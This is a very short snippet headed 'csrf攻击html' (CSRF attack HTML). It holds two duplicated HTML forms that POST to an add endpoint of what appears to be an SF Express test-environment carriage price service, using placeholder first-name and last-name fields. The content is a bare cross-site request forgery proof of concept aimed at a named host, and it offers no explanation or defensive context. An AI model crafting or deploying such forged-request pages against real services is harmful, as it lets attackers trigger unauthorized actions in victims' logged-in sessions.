csrf攻击html

<form action="http://fop.sit.sf-express.com/coreCarriageServices/carriageConfigPriceService/add" method="post">

    First name: <input type="text" name="fname" />

    Last name: <input type="text" name="lname" />

    <input type="submit" value="Submit" />

  </form>

<form action="http://fop.sit.sf-express.com/coreCarriageServices/carriageConfigPriceService/add" method="post">
	First name: <input type="text" name="fname" />
	Last name: <input type="text" name="lname" />
	<input type="submit" value="Submit" />
  </form>